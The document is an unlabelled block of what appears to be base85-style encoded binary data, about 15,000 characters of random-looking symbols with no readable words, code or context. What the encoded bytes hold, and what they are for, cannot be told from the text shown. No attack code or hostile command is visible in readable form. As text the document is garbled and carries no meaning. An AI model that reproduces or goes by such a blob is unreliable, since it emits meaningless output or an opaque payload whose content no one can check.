zwo&4VH9AbS45w^|ePyb0ku5Z!^V2th6G9eKj&)g4mo*HMOffjj^cYF575Lm!YB%wU zS;mKXTO67~1qEe}PKTNdrJB^Go+RGJa3i{ED*2@fX_2hPk3PRd1S)z+T~5Bx(@@j1 zfC^qf=*=glnhE55=$Ph5G*m|}dY>Or(w5}pwl!>9!?tZPu`G(-Hf-C5-ZqFfnDk6i z_oCa*jByzGho#?#17ZnFf={Bk!2tz&>-jlsXuU%ceif5}Gxv*Mzqak?)goz8jZ1y+ zAo?`bG>hN&oP4lwKzSzZk00RTyPzEQ82B29Ec6LDYb;aw3%4CW~z*8<-(8REH0c{%`K;Iff z`awcE$7+dsx?jwY|By#L6TZFfFC;d2rn5T74n1aqIoM|6jioa=)*fEXES ze7IK_3Ln2WE`ePvM5tU*OGuZlYshtqv|TmGlGv*{M`~AkMs+@5DJ}|5>k9)OhFCl_ z&}e|_F4Q^2-ciH!Mu_0(ZejdI9O;5ap5Tb}=pb4NkfAn0mWNNZ74Nx&G0 zLJ7**K&^zVbPb5%{~rkPP8V=BM_0ur4flJ)%gamP#hK7s$M$l^moJ~uwhe9DpuI&A za)D1EH3;_(nt4Kv!udTqnbtGw)h>JP- zlJxa?<%;3oO8w6E40-gF-yPra;SA2nGuafu*iVFWaKbc zNqnwfsB}FZo7Y|a>B^T!e&8`vy1-0!uwO!S{34{z}GOqYI ze0Q46r44+odct;+*QANL9n(?0!n!`_$s5GND`7xT+=eF#!7@QDWiZz3hKy7=AN`VJDfbHnXe<Tlw~pSU2vH4nJGZNeWME3{PL>Z1=w~X4ia^~!hw0r}jc`xF z0oj$Ea+KzZE*;uhsH^l25bYh~i8asZ$fY(KPOl311W^)6Fsk>Fs^m0AAC!c+FIgJOo zgiPn~zIa&egW+K0Z#?BMdDNS9g}432GbNLgk7fpg0u<_BF$E%Y?NN}lj%|yd4``1j zIr{<|I*7;qEv8+{FqaBPs0_tE4%1B}%<_t>9Q8!1J#iFTjx?C$;qwEuR5+_^$ih=e zsn?-|dE%={Q;E)ekW{lE(R4`n6qCqvO8L1^ilp$w99)f)NSUNFPzsn9a9L5f<_m^A zD-rE`{$d+=8lz5AK{~wqP%9k9c6RXYd1Z`y>ZLt^@Xe?Aiw%5!B5BMKMTjbTZ_p-_ zpBDSxF46d7dbF`6q6a5WZ?Nmp&_k7(iBMg2Gs`X zEeJ)fIZnMmmn{ocb)6}%cU$|ud?Nt9Auc|o;5faqK2jt=9;6coS)4#CYZ0la=wdXAAR7% zE5fEvgeUaS2yjY6(F?T`D4pzU;aO~yl&l>^NudHNh)w99yo4=Oc}MFr|3>2}-`<`5GCNp&nwBGE;<<`ZR< zTJmbxHkkz0s&!WAQHb@#=L%X97*SzH>SZHWA$>4%hSyv7N{qhxgp?N~KI|gObok zCVGTL0<%GF_Q>b4iv^~^=9q@)$&)s*sTy4p@;oNEoU-sl=PW*evv5H8(HuBFEI0IJDP-wOl`0l5^|~rNiF>WOAAc3U8Z24 z^cIhakLVyh3Z!pvBA9kaYuSO*gJtKHsmjrPitbEMS3`0+_P|=h0Bj`hG47`ac*}`* zas<4z38us0HOKB3Q8;A~liZqa}Ozh@#fG!uI%K=v9hYum9J24djbXR2LY_23k{7RyXHscLVk0$0g zys_2?F55V{K8lcC{p>0afly0DT~^e!f@__zhvuIM52gW3yWBI^gQpLOsX;}jL^h3+ zJ4Sv4*ooKiBqVhI>hPEkU1x(!$Gtb)UtZ9*4bpnZ<@r%t@7x{=(HW>wHko!F*(Ji@_{B&&#Wjm6%@JZi%uF?P z^z}fByTY12gvGgEL3Xm6S(<1ovv3 zJAF;kQ@|~;^p4S!Ir%W_7lL6FShFA=6A>;bWkFqUD0Kn3&FKdU@A4M=hw~MWa=*RUcFM0*RnkJMw zJU&7OQd3l8T>6pRMl8F^ejcwFPWL{W!IS37d{BQ%IRbh;y^plbPHuP;kej@dO!H1M zNVD|big|tE0#rt+H5Bh?7{u~Hk>?tdpYm0u)o-fF;dYOdmq-42WTnh zU;GMsbrt?rCNS`%-xBS@%4z;OCLK17Mvv5UTvKDf$17%k)k0G@ddX!dDBJ4WNB!X;a*0ObE^{PrJ`QqG=~$=snCd=VT)rL_^_CB=)yS6e;f4u*RK5 zgi|8rc4%lw509^dmzsYyj6U6SnhA(w=*auws6-H~B}g@@OAy1TfVl=SkV?wyoqPQ4 za7emS4(;{f+Bx2shGbfQ9DhD`5YK;D9-&2}XGlY|BEAX%5?%3tbZFu_Ln+BF*Da2> zEG5jXrUWN*6e3AzECrw(WJSLEbp=f)-pIR)?wI)oG^4H+%bJY>4kf$jx}?I6jZU~7 zKCkONkyP%jsKNvkL~_QI(w+s-E#lNA-||(=@d2CLFZIzsHPe)NOb;9+?}Gz(&A3kY z_^UmBh(VMRyo5NsyDAOCe9z?O^dtXGCtl%vfv;sq=Xw=Jtu=(D2V|58#sohgldh!7 z=(834jY=YYPU4*N4$5%60`i=BReid;PlUni`;?DXgDH{U*9>IhhaVdy1GqsW`=cf7o;s7rymbUyp|8Hx$RGFY%7gLZmc;yXqi4e zen5GQ`s)&t+Sluyi#N=yO8P&D3AWy`Zg;40$fHXS=*NW;@UNFQ;!woiYy_3~H5Ke+ zHae2cAK!OOee~q-Ni=v|yLSm6y)TB>hx;#{RlW?oE{dth&v)W60|||d#8foiJNlW| zynh}AGU)NkCRr`tKiFy^JzQ`d8F+s+Qa>n0@cw5^Bnrrb2`<<4vtdp@u4}CGYxyBY z@-I2ykyG=_0v748oP_ux2RqmEXD>i}5NFa&*t457x~6te9WjsO++H2G%k;@-r-^c! zaUf$4H`@7UBOnYiE5p)$=3-C2lOHcI$74VspiYCU>uBkJ^L3Al4Lo!v9t-S2QqB+H zLf!Fkg$2~+>%cY=7&_w44l#aUbT9c3l9)@Waz&G?7C*Czo!-R~W38{0m`Coy0nMS2 ztV9F~@r>ZKwcerW=d;~6^xhMTY_k}-Qq&sqrQwnt=AnfdbuFPTQ@++g-?w;7wC51v z#0hMvW%or$xA$5@oiF5e7ckdXFyL3suM73U2I}g;d@x<2xyCzltzh+8V1}!7BzXe{ ze*S|S`;)Sm;EAHhFFwe_mojxThA1K9SfE^MGB7x_j8G31Q4j+n4I&Lb?j4S10@tIm z-TC8Ef-4d^7Eb4d(oc*^Hsh1kW1&E(1BM5Kp77p1kqoczm<9x{ZB9ML#eVQmb~+eF zU0^^Ofq))h7=|Pk`R<}z3x(HJazbcK1rB_ID?I}?H|ICD7al{Kno9|Ibs_+`&@ZZy zT;(CA<1l#qX8bD0{NrLMR5Hg)^Qe=*yHBBwDOwsPS4jvQ4$?f|KFNZY@$30Voag)+ zf&;^FZ{m(0K7*^ve#M!z?5G+5MfkjgaUIZFPX(F=X)W>C*?rRs8H#3Cbg3bqz0?Iu z4dcCKi66NjlDr%g97*<9P-Fz6c@Qq{3)ZEgmK8(=WqhUQ2NOr~He?5e>F5QgTw`rG zC6%cVN~zN*baIvWc)(w+=Vh)XnxX-GoZ@9s!i6Am7#AFM7cNm~y;>iNLK+B^j5I-C z1k5SRdxU9aGn8L>9GyHc%?1aCz(?Wq;o*dlMUL!7fll*Kx*JB;XB>k3*$a^UtkXl6 zAuc&UCK-w|q1yp0mj5>(T9>%yCjVh@9xTkf)S#+Bqf~gnE9~ttN?hZaLl29xNo~lp zM$vWbu06z)D_(9q$k_)d83Q)5lu|&Yf}wHYKf5EtcgO>QauWgQYcL9 zB+cE@UD|W1O&8({lv=UWilr{NtrhFT*MhoK6fQ8;Xq1$a_tyb$eSz@Byri3XK`9lb zRIKY7YF80-N#?R zu6}y{Nbva6K-pPNtvn^GNL(B7afI>SFJ1Rx}vNV&=Qzaq6n1!t*O9y zJLW_4ClZpFc!X$x!c^c|z*HYjwSmGc`m!tgdSf4w%|jU4m7jo;BXaP-$qypPH79$+ zY|e7e4#Tfuyt#iW2kF|vSK=wp<>3QKwU&ZqU9l`TEXxhI^%iH>6t$LAzT+9X{4&nU zLD%K%q}EzNS%?%aC<#v)3m7C`gN|l`dpO3A7eD{&?%4uSLX=|N)S^qQvK!gC*~HXq zcFy;AJ@*@9``W*b*k}*%0*IQ1|?6dYn2w-Yf>dXjhmv(}^Ao-2uH|nsMOq zPzXl&t2H+uyzz_xr>}Fxe=;Kc`Z+3c`{8#DVH)FIp;b}BT42sV_+k|0P^5^rR5Lgw zYy~?^NnPPRF897Qv>w&Em_f{ksKe!8SVzsco$eD#9jf}31}zoGwOsD^_dHJXM)9$( zE7s+Pby?9Mk+Asglkqi}`n>NwI9gFbV@e@xNI9;W~oNy-gTcpT|!mJI{dfH_!|gs=?Kc91&*zJr8*TxoF!gf1W} zC8r^4U9he*B(nOPeqegT zTtODzUmrfh~v>@5ioj3SDoq^?H#9L3=1fm0FX$3OG_85wW*59bDZ~8uH|PriWF@ z4e5G>UXAq|W>94(b55m4x|})Pw?2U(p*?;cs$Yq z7pN!-Gmt(YoQ8e7BRnoA$NReV!Gp|ON)VMn=(Q)N{z2kxw}^2AP7EcDDTXH3GLkal zJg-9;h+e(e9NQy}?yiD+et2`h9crPDq@s}C&{~5b3K0>3G=Y!A)pfZ1T;ui3<^({~ z6C{qbPibDw>Gd!7`L4i=K-M3W=F}YArEL5y>kR-C2COd{4sUCFB0_mAx?~`)t<^sKRO!S@B>Wcl}gxE9s*FPpmN1RVbn() z9mK93t!)t5U?M=m49yfGNt6=}Dc4g!I~ZXU#h9KL4ir2ZKOOf&%B@_<6XW3>C{oUn znyf>vb;{MIXOn6KRmP zq4x&S25%0v9;9W7DG1CHe#rA418{1I<>1C9={lQx(fcPTqR9yh7$L^mPo98X3Dmv| z3s4Bx6e85R1gEL403qR$JVim~faq#__;Ew08@fS5vvdszn#gdrjLSkU#uDS< z@sZd?LXf7WIO$Q|Fip>bYsHtVKOR|3F0UvA$O?Zlv>)5t8o>w*wfh|IarHcW=+iz>o+(K7NlhIBS3f`ayU&i;=`^udkewcAu3Q2 zh$vJg6PKaLsF2oBYJplpWnm96k1^4{#50;C2_-WTs0z9Yx=4yC?BXC)%7j`H5lZ1S z?JKACRG2S1H)L$kKwePtN`t5595FlAR&wJT9)t?d3@zaUpC_9ERLX2|4vFPb2#wZ@)4URsu?4xQBl8 zRpA?IdLW_OoM=z~lZrG~Oil>m0#wuNM8%G?D~v!6oGCtNbR*@6xiAVshklTT)L=Q>n{UZPkc!NcOsVVLGAfdrW@rCm~k_`jRcN!c; zQ-w%F+qQ_)ouR!4&V2aWB%JhWXxTBhRaY2d>KqdfTz_|(uHk8$pT|(_NnztBu6H6}c)vlkJC?@O~ z7F^Zo}AEkN=Pp-?!t*r{wAU8y6#`XA3P%7;PHl z1e7|e_I&_giA9}#w~L*eLqH^iel>HDTMIJ4S5OVjc^a~oM3+(w3K0Q^dUOkW>*!se z+97GqX6jjxNOZ{Erjs@we>`&>Oh1ny!P;6w?;YFrg1)V2w~9ieIcigMz=qO_W#WF( z$2{N3j!9cgC%Xu?)=*19YYnXl+Q5{H1YzF{m&nM6bZ4r%P2Ys2pxzd&w;PtFqA&u+ z!8Ff-yCun4cdhiRtgq^92$=5z5kAhgNT^^<*h;+LB==tCU3nVP&3Cs*KD7z9x&cP0 zYY8~gki+Mszg~%_yhpFY>g@RjQy?rNzbL4^qb^G*7uK4>3N*zD+|C=NIpNH+-=9CY zTf#sipK#8znynyp-}$H)P?P3?s^F9s=8;2EPTw{1CZ_#O5-$5VrM%8<6snUs!O~fJ zOwTv~2ks#UqQ=h6DgE;oAoS?+^E$;I)DUKl%5_3^4hZAnFn)Tu6@K_xp@SxQN#&#k zs9w_iDhrW9umAex9%e@=gpv-Vr7~Q?k(a0(aL3nj1>d7XjP<1nq_-$Mq(P+TB&2~# znaQZShD)jYX*Ifk@l`V~8wrb~30;#0=^Lyv*h_GhB*>g$Qiz$PjsIQqv4e?d6eVhk zCI;@2to0tBiJC&vq;Yhe&kf-?Mkt=+%fdsdwP0C7mUdkWLV{l5uHgDO>AEW5E~X!& zOB7QMF_~~fCW?RV$ImLBtDrh+;dB5m;a!srKuzvp*#wN9pMlQ8Y``l0f~%YQX5k(U zLM==11~{f2wJh=3)F?iC0_*iG|6qLns7*SPY&0Bu>{#%EO6yr6+OwUno0WL z%3R}RbDb&9=lnS*gtAmrj;UBFL%KF&8*;kI7dy-DVYZZ^|CDTgqpjv#319%`iU5^3AGrXssParUP&_CLtFnXah$YBeIeX zrKM1G4GG{9JeN`kYpv6THymk)%x7HiSJKtD+4H6&W-bm$juDTYwIGj`>%3q-!HF2o z;0m$8QmY80%Osj34X!Zc5Y=`#M|>Kmf7fvxGiM@GN{)R26q-`eW8(2ZKEFEkBQ|pc z^dw!|XnUu=yiX26ID(5wD&XaLxWa{(zDt8xAFx45PRmZP*CBUyASVx%u)*ZI;^1~D zyqOq84Xq3MP{vZ-U-qD{zc1_g#~>kRKcvDJlv+`F0aFwtM4UzCxMvT>o0Q#VqDS}T zGr#YFgUD1u+$Q-4@nP!$AYr9PT8Q1e96Of(kSNM>n zBHdUI35=_zq2GZJxBt^qhXdyDFo|(*Nv=oYt2qwHvaBF5N{bFn$j5Pv*)DQa9?5!q z^nTin7wKTmIG5k9u#~^}MB?cwt1CGHkxbYesP<~F9y^Tw${gvuZ}~dA3bm2l{HfL& z@P%SA9YFoB-(^ee393 z!?tc93b@Kz2?T{`kLlNd7+OrkU>Aeh5oPClk6AGV329zaMJW{r69NDsZED$o@J!(R z#9|>t0e`KvV!5q&^YjK!&(FBso>7+-YhAMVFobJ_%`|7!BaeXMYdm~VMd6f5UzUtn zMCckkpFvhOPkxV&hC@s<&-$2uOWxxEZ$5G$JblUX{ZuU#lk5_qD&8dX3px<)ZRfNY z_IQ0XU5r0^Ejj6r;21#xn zsEa(a1HqVnFClLkPP-4pV;=+2?9%XFlwILPLs>-UTQf6iEm)R{Wx1iQ3o3`CTV1w; zl1wCb$D#Svo)nUqh4T?j&BvD-Fplx}^lI-L;uuj#ceJfxd)aVbUqH0Lh2Z)G+#(ij z_dD)w!+qO=`=osqFjwO^4R#^ZF>qn3o{c{=Fz2G73TLySa+nOA^eLsFP)ysOZ#TSs z_k{QF-eGxqgSFhStQCxap-JDNJ2YTByhA>&v6~M+=GxUPz$(`nmnQEgCw(G4BzsMB zx_tp3t_fkMhfzV{68RKS4r_hNFyCJvlk#SF58o7!hji3I$G}CiNFP<5{+HWTX@e- zf_#jr65~4B4Uba}KBCW#Wc14%majj8(K8+r^7Q)Sxhgk|J-Ysc9P#FLX0Kn6_n6`P zwHPtt{QRDWXVjKNSW3lhy~Wq_LAwNg32D6j1Y;%0El(YM(&6n((RACgy| z-Qt8JU4Q^-gR7H10jh%5H*8x2*Dc-c9femA8JY;T-r~>n4bpn>UM!NiD?XO3{uoT! z1F~uW%Z3iWBDMvQI@||6W4E{)I&)@7EJI{ByP3##cPm2&se-~ASBy3nM1qV_#{It(d z$>diO?}-gArHphD?v5q`?K=Hm{9=A;U%h_9)yEWQ_wja6NzX}DH@$VePwJ0eiG1(dCYJ$|xmbm*;08B9Y9fq>K1eSwT`Jzbea5>F@4#h6YXbiQpl>jvS$x=Tn0>K>JJw?)(w``yb%XO_2%nJa#N$W;3Hg2;LK2l3wUjgq-J{NwUC0{kjH`J9 z2-f~nPW2R~s9@K%B|Ra$004jhNkl;pCPQbD{5j{*kvOhSUyKqPvH2P9`x!f#X|Koxu^f5@aQ~4pDs6 zC6e(`h|ojl;RxwC6lIQ_cAa}8bDBPJtzZtAV5v)dl~5QdwSr0o6$MvLsp-90b$Js) zKl(xq7=s2x)EvyOQAgL*&vx^JLfg<)+241yNXk_a$xas2L3{E146eg_0RSVL=4G1D zDv^%fQes;StNLu194J3KHv1x@c^g|Zd0J&zus+{V_z9p5+qMDV^giQEPzT%$2hoM| zKlJqxhS_j}7sw{y%CjLj{T9+B*wk=^Cc=@`;FR=ab$Isp_J(bsNGx$mb}8}Qc+_&j z>ibs|VDz+J>uP$lr>0p*~H@!KWGP8=9)|A`Hyr0hO)RkWt4RRKu+8Fd_B_A`jmIVWj< zG9bFyEIvdeRVm73wuk2&<)#q?rJKN0`Bk*Sz-M;0Pa24C=!{s%C*DIK$ zB^QR-C$9^@0e76-wQCtj&vhMKr;yd|XuZLu!&MFwy&)?8^-G>RwRwcDj5zJ)Fdk*+ zqZ7Qj9+bWwg}BfDs2{zDeDWPcVqKTEqGEaI91LsCp%8VMu}{83B&h_dDJ5KjPs`w7Y0FKYRxl=+06i4u6!_hSyga<_&=p9?Eoh3^}ej<>~RG z+n7r41HUuIqZ1S${t(2N7+fos+k)k`qONNc9rnvOV%Hp{U0^2-i8vdu4ONH?vZtf) zNYoXQ=4~*5XJUGR+k8m;r6R)^?V1jP-*EEG0O20;f0H3{4bAn30Fk=!l+u<L6yDL74-xf}=>pp440yg!RZX$Kfq} z2XcEm!DOgHPZ;+7W4Y^^?q&y7`D1S_&zB2uLP8^>k{IpEI z-h;!N$=p)JC-*ti!E|w-+|iZ9Zrt|QVR|rCw1k!&_pgpA_6X=FdrmR|*^TJJ;EGX} zijoz$CpJ@>gqn;+P<*u7xk$e12NJqOavm@aOn9md+2$lT8Yq(Yuf3s893kfG?mx*K zbgY|!K(?>kUS9bnjY=6jjjNbqGJrI(8nTY#J$dNtQ>f9<(A%e9^20gLTOOBG9T1Ul z{qB8E_MCZ2vYP9ZC|0Cz#s=rtp2B7FordAy z@eK#ben%@`@9|e5D}5)UvxxKh6hfbb(UFk7x*Z!FYxlE1T?2kS@Z?9E_o*%;?T&qGBGcu z>`GwMgz+K=6|W}EgoFm}QoQ5b4m5^pPQ(0S3aW8hlRg{jlfif4MHuScI>xDX0dI;*< zz+|S}7!jhCe%|fmWBhge7MZ~%@be|j+qe`c49=WHGMXJ5L#ne}7Szt~)d1mG9>Ho-v`JshSTF4GGq!*jmTB zbQF#Pq&GoNc;SE^UYde#fLLhe`w=gGRIAI*A`$KDT5>X$#pY$6>9B|c-T<;dO}}dN z77J$6?eO`8x}WaE^ouQc2xDYdI4^pX0;d86K{W0f?E-0S_e`)61*S&Ixi>Nq01I?M zZ`igwzy+lSyydtDh8b?!>qcN3Pm&vN=>_mjMt`iTE6``RIn0;WF9WkCW6))dT(f3M=j;mnA_(MbiolC z=K<%eQfsZLLK2=Q)-1`$v`h6`c3kx;S{3$-3;s>m+y$j~AJ%lb+$Twl3Wzf})QY;U zsC9v=1=g0rNQp<`HM7@q^L$3kdW9CUXb%svoV$sxgnN?+pqPD%7=ebur< zSV{@CFDkTiH3tR{n4Fk1KSR=g?9GV5JvOBcvd%=mYjRqvG5;=I6&}64P{%rBcA0WUn=fkGd?Vw-tqIjMDm0{K`EyTy`gJ@!XFC zX!n*dGkd5V12;V`>mebO6?-nFs9Y;;NghYIedpy}(&4@o)G1YK=)Iy=-er0ZiJqUF z5$B$2So*RN(IQiFAwnv3Ar0PU>Me^ z<=vD2B-QM8?#P*q+!*8x&n8!If^F*n3d{kj3#L+#Xh84m>w?lR!VFRKuV9~)ikr1C zD7mL5I*Tqp>ibVoxRcMd%plss^;^QT$1L)x5Cq9(wb24{Q0~*=cVZVX>GMQ|I6|$< zhsG}LurixYga)@z-yCO^X0L#*K|*&xRi<~%h_Az!YK-$rnjs(eI2VSBo)TGc3J!<^ zZaLZy$5ox~tCAh2Bb;Zz;YL6)v(x*Nrb3bsr;<$JB#Bj&x}q#Ywsi$H!hH)^R^b{I zE(lHp_j7Xu#)3wGJN^dJ|HF1>C$cy>h|`Y$mlzvfCUY?};~ZfV1y;Cn8fq@#kx}ac zz)@-kmnES%p3>z$DiAqy5n^U=cMX*l#=2BIJw4%eTk-rfT+l1rBox7pWAAiqi_7B| zn7ikH9EU`ch8rynh)PYkN+dKyG3AWJJijhbe1&NyC9E)hr<5ALFQafS1p|RYa^!Z= z{B#VsR42jRRc((~Dv`YHY0WXDjpQ^gcpr*VkrFAGZFJrS;@fTh_8F@uVQ zBA+Ns6h1Qfq-GT+P;!fzIMuSw_p*QP0>tCwI~?AJH-t%$`i>J37@%n!q$a6xJd85D z`*giJW#G3^b|NJro4(kkqSh5_y*aYr@Q3PQR|0cV03Gsf1Jj#5EgScC_$h*#ZW}|y$ zCV;zHOshCOP6~%lRY_4F0I3F_q;hi4i$Y6LD}DSizkBvJo4XlA9bJ02ROWDZlvGA4CDsvOthc9F-?9XIAQ5TgxCg}P z#1jx0!~|}(0oi*ZpB^Y&YGA_=DqkhJE=S`hHy2fbik>PM{zI_}h=R+(9|1~tVUPEB zfGOmoOJSG>uAB=`qs9_ScOMUpsD9RW9mpb8dtrna1{0&ylG2@d*%QGj$dDn`N+9xq zwf_S1oZ4RJF>^QRk(6c9LLSqs$~C%*%rO}v-xaVZnkz^#ibJdQbg$S&u(gJD>z{gS zxZk&s(l&uX01t?kf%D!XXhJ_MWhl-3lbJ%Ipg!wf&IoNVSZ}>eURpqu6p}(2=7ug& zh*=5?4E0G>(cB7f;H(9g#oc32k&l{1hpGf5OG8>&rH2f07F$t>rLRUL^B>30&$_Pe z6H@mjkQI?rkkc;ufkeAzo~X9N*n@B{_XF(ttT{&9JMM7uk9mR4xD+vJu6}4sxPwC} ze4n}#{dnkyoaSBs{2UO2t9c)vUyMP6EM`ctq(ZaJYy^NER05W@D>t~CT8Xy5{HH!qB5bu1H`ieri)Q}x+oKrsL={b;GAqRZB$ok$r)fOENvEALB zQr(L3y@Ss;HvA0oAa|Gw((LZE@2#d{CaM~RNNabz++VOh-O{{{!5R=dq5=Q)nUD|B zFI89Vr*9-|=8nDvBuPaetwVZC_*p}59bOsM1tu--Bl4+!WuTad05G%DHpI-#&9tj) z78X%li3qyJ`-h2Nsw3rHHDGqgdsxl8o;jb2v*prvwLLcr{_ulXz~Hw;Q*bDnnQ9nV zn_8~%x$`Na7@HH)OfjKzmhkP#i5W2GXzSCM__%^_J{5&OdjVo*0{0*1IBBTW9*9t` z1}g>b(-R382|7g{L%@$`-b8NZX8t)Q0^v?t*W`UHNk|@~DVx(m01WmhNTO1w7xL4y z#LV44#_{*iQO|L&sfK*zssJ&>LNd?Y)6ssob^;Fni1SZB003egX1)#nMqJLCqf(8o zM0U$d!Z-@D_?VtA3Q@VA8G37GZooYY#8ia}-E~jH!QcXxgqO&hD|z3Z!l+U($V?`wT31eL^{NVmwnIo;y!9)ox}VRZ=9u4CVp7auJvZgdN5q zPaB7Qmuq#ns>9trn%a5uDTkZc=cBZM!*a3{HV%au=9Et0yN!YA4mUH?FD82Sd`cbo zNI79Qm5fUUHHCCV;WPnmg4P2{C_VPJB|1aIe#FW0sT0Vt_)ofvA|+TjRk3VHc&3CJ zW^XaQwDVFVG7tZSA5XlAT3{3_xX`CsqX;3+aXoUZm;q1bXfzxTT;@@@l$DHn9f~kG941%hP-lEGU(xGy2 z3ZLD?2qY%2Q@OwuXmWx`x-vG2wH9`&`qjbjIht zCO4RLXzv=(jC9pii=b~77eMO}Q}o_v_pxnvw6>YXSw8i?cC#-Y_3_UkW)_mWo`Upl zp`JsOg!^R)=mQoo6;LUkLUxz|pj~8reW(qp*&p5QU><33vUum@t^t9?ri25BS)Khc zI+E^o;$+p;Ub;r|A}V*24woJ>r5=;J!UaoRL!psNn5G5<5gNtxmaVW)Ctp_qVzMQw zKe}h4>fwd1IS~lby+blKD-J)xew0|xlOqrOXHAZ!s;Y{@#9@~Fk1l`?=uWiLC+K$| z2_1t_aM~DUrp?T9D(gST?*UzceBb(p)_WLPt4wa%#90{Ns-H5)IDI}9f&p&s24)Js zFr=Yk`cj!_y1hqZP)*Uo4A?R@0nw;G&2tJBte~Vu@YgXa%WJ;yQM~Fo@~r*$qy@Dn=rjB%x3?Fi4k>BTjS1P$0smD}a(zMOA#hTXfiTs)|^S z3q?AbY`8~q76CsFmC4DwO~=RM0{iGh>aa9I3I&obS%fSCPMJgt9>wH1nW>uDN6EtF zyzA-^Q2_qYKr&=J<3mU|5-_1U!PSkk%npDY1X2J$U1o8Q?=Kx@X30~EHP()nc=Fx_ zOgsybt#`C8XiXAt-XYul{8PPXc zU2wC2TZ!59?C}Rw>>%7b9MIFNU=hHMPY!aYgtrJ-xMe9#K?%V@bJLXKja73yH1Bibp0LAHs-d4lhS$waMd99H_GHQQ7s*6b4PH12 zjs(LX#Tm@K!C@g6cw%T$V4{C!iVMpq%>{?QM>>{TI+&VB^dutlmR~r1uTX zgx11fvrC6|1uPm)rmklAcimxmDB!T+i0&f*2HB5dRt!JzJuEwq4h2Fv=MvMc zSC5&wI=s92EyQyST_s22p(YTMk-d?iQJnOyqCMaoCoe+$ld8dFI6_AUZBNWn!Ok@_ z^~t6V{b;OY@$vJSvE<))?>{=Qx$RE(Lxj}_re0|hTE`^B5j>d?2=NV0e?0q}O7EM9 zs)(AqgQ#FxR;;%t+@9ZJd3pjfpr&B16Z$-hN()t%{fHB7@_GsgfP z`A*=?B;5rk>mYyYA$Rro>aK(P5GV=>m@oKXdEh~C9-eC5+_U&N_xxm5v|Phz&i|5erWJ|!u36yzi@Bvre^1Z znw`WE%bGd9nECH4lk%Y=6r<9F9UI_INY%K3{`;N5Kg0CYDjYVIyZkd8KLl}VSDsKG z1&PieVIt_gW%AlL75jX44C;8I?&v?m{P&*SV#5(qHYPf0JZTDtW|HH-?_EA?mxjxD zMVLi`VqXTCPc1dNO#+J3JNnijTMKAbLeCTqSNrVnFQ*Us5%JXBKfB|LdyclJDUzj9 zT}X9mN@Wi_I)g*iKHG^E>;BXt189JMcK6?FLgq%Xp^^obQzmHRTw6e0M1QY}p8-F& zV$fl&9r#R6TjZWOeJ*KAND-@5dtm32;}oz6`~cvyoR_crOHXrmbEoJat3p$vR{E9_ zu03Q;Q(ee3`;S3LG#^FC$saLO6}_AJ-#dkG4Rb-M3wWu~Jx0lMY*0_+fg8x}zmxlY zR$wRJ$^euZcY@!sD_czt+mQB`Zn3Uv3988HmgAmkZl}M1-Mzc}3ju#S8$&*dkc71l z&Ys8biCIp8@VD;%#r*;?D$?oC?*3!=dnANi1ziQLcZe9ovniNyIvb%K?w_v`lnB&_ z{AVKiI~sxzW>62Y46!UCDVjskAu#Q90`fb!{&9Y&Vi2)|x{U7~ zR-`&bc2mU^Cia5^zdQHH(BbZXbob3Y5>MCA=~h*A6|k0kr+{^A5(*sw%MqyS=H@@( z{7HFt_urHIC(DtbCe~JR`eC*Ju*4jP);y((425FDPwxKvvmKaUda^V8S)_aGJrWj8 zf_;+whSHaK3(~r@RAOl{5pr{PJ9SVD{eS;5tyn!f;vU78N?htn*!_HR>IVvKJBsei z*>ShuKE%N9-TkL2A8wu)+>Bjn>7S5);V?bO%l;F9-{b7ErGSz94+P(4a!mwh0xE-- z0@N~jOr}9@6&0BFoR0Vg_~|DBuix8^Joa;VDo7V-?~oRTeN3FwkeFC2GPw(gi+i*k z&%c=+e-ENhRKhKpYYkD9gU?IIvjQrDo}vmqZJX>9-2VO|G5U^d_L&EabnIOR0#~10 zOaj26Djn;bri5m83E>PP|679p5T>|^v9d5R4t{`u3ijzoHhKp_0q#GV+23B^Reu~@ z5b43Ow3HSWF)T|UO^_3>ab<-Eia|tL6fdW5go(TV-W@-UDYQm>4Q{l`)PYEu`vBA= z;U4BN^^bu6-PzvtBn61W+|5iZ%u-@nAY%DJ+TK~sB-Jsv0%q=}dS>Eo?u;P)B%@z?0YG zqO;&YUiw+C4ENM4j0G$wa-RVINU+}mN$tVV*bTTSBq3;;6Co(XoxfJ?p?s55h zSNr>Ljkfeqh-8i2gL#;7%Tr_{Ieed0_3u^s@2?>Il^!;CF7->PVc-@*0!LSS2O*$^ zK1}VTq4)O1+`fSLw36XpZ)p1?2!9BbzJ!i~QffCKI-EwTq5nUHVSZ56KbYAcaRJ$I z2jB#On@rUw2kgKlwS+v2Sqk3BXda1~i2JF{B>^CPT(Jc-c&xW?NLB7WJAkfsXj||e?pwpwI_lEHKVVaATS&*X7Ep&CoeAJ#5FK}aaktIj z9X^!3;sUTFYX|W$2+JzbxiI(csvF2(5Xt$8U(z5dKd9)7cHP{)tM)}&Ltj^PX=uG- z^&o6(7xYcg6ILi&?|ti=sa#Qp7YIp20N%n_6Odd_Ntm6(CV$J402;2!)~@5b2$ zB4VPZ;SL*@IEDK=Q5hKHh|`*?E22%dIEBmprip(q*rhr;0WDGHLZLdJwk1-+j$vH8aHqZ>K^ zK^kdNirI{=c;S*9d(NI14T!Xvxwu=$1@0tKlZ5vUE(Zn=D>!=Lp{5bbchyZXsHv*@ zCGsg#{mD%3Y9?W@7*nlukOMp5$zcnMu}(!%cQcTSU&N!x(nwOIZ<1=0;WrjdY?Ge6 z7KLi^OI6`6FxSn@UpYRX<2eNf#6-p2elW-1nunJ{><A z|IXa&|AEdYz@6{XsyToRe^Vfh(X<( zxk+!Aph0}=X$Ja%K)(x-*_5SCXXT#0AR-NJG7Ykl+w`}pcA0%0F3H-|R z%qz!Ieu4Ynd-x$hq+{E%5!5q@8Sc@ROs;68{C9W%a$d9duOA{b0{skNg8}M}F2Va~ zn_}yVwhf<*@Zf}b=hSENPSroDS+k4i+^EPVUH+)jeY?;)IBUb3m|wza{t29-8Xmh7{4+b}h$4sx69Dl3I zm)073YnP}lRTWLdT43bAY`wo*dlbukm`rvaBXabvXquhz-ang)nq6a(_l@W83)3eq z1+8qkOUzqV`Og+ky1Z`%36N5%HNZD}fFQ%=V^oul3{A1tx z7uh+6A z#ZqZC|1)^CbACY61rZG&apAd+RXua1K%Z>~4Q| zf&D8Xv?K~=|KZwX@l^&Cir6&9CZQc9T!0{jL_jxI~O1Gj|s^e^F0T zwk7`(4!A~a_My<|fj$utjgik)_OH8oH^W^`f9hSnYfTcy-9gj$q#u7RNs?=pjjN;xi|F+UzLmEOB;y{kyK-aCu*D40coCBTzh 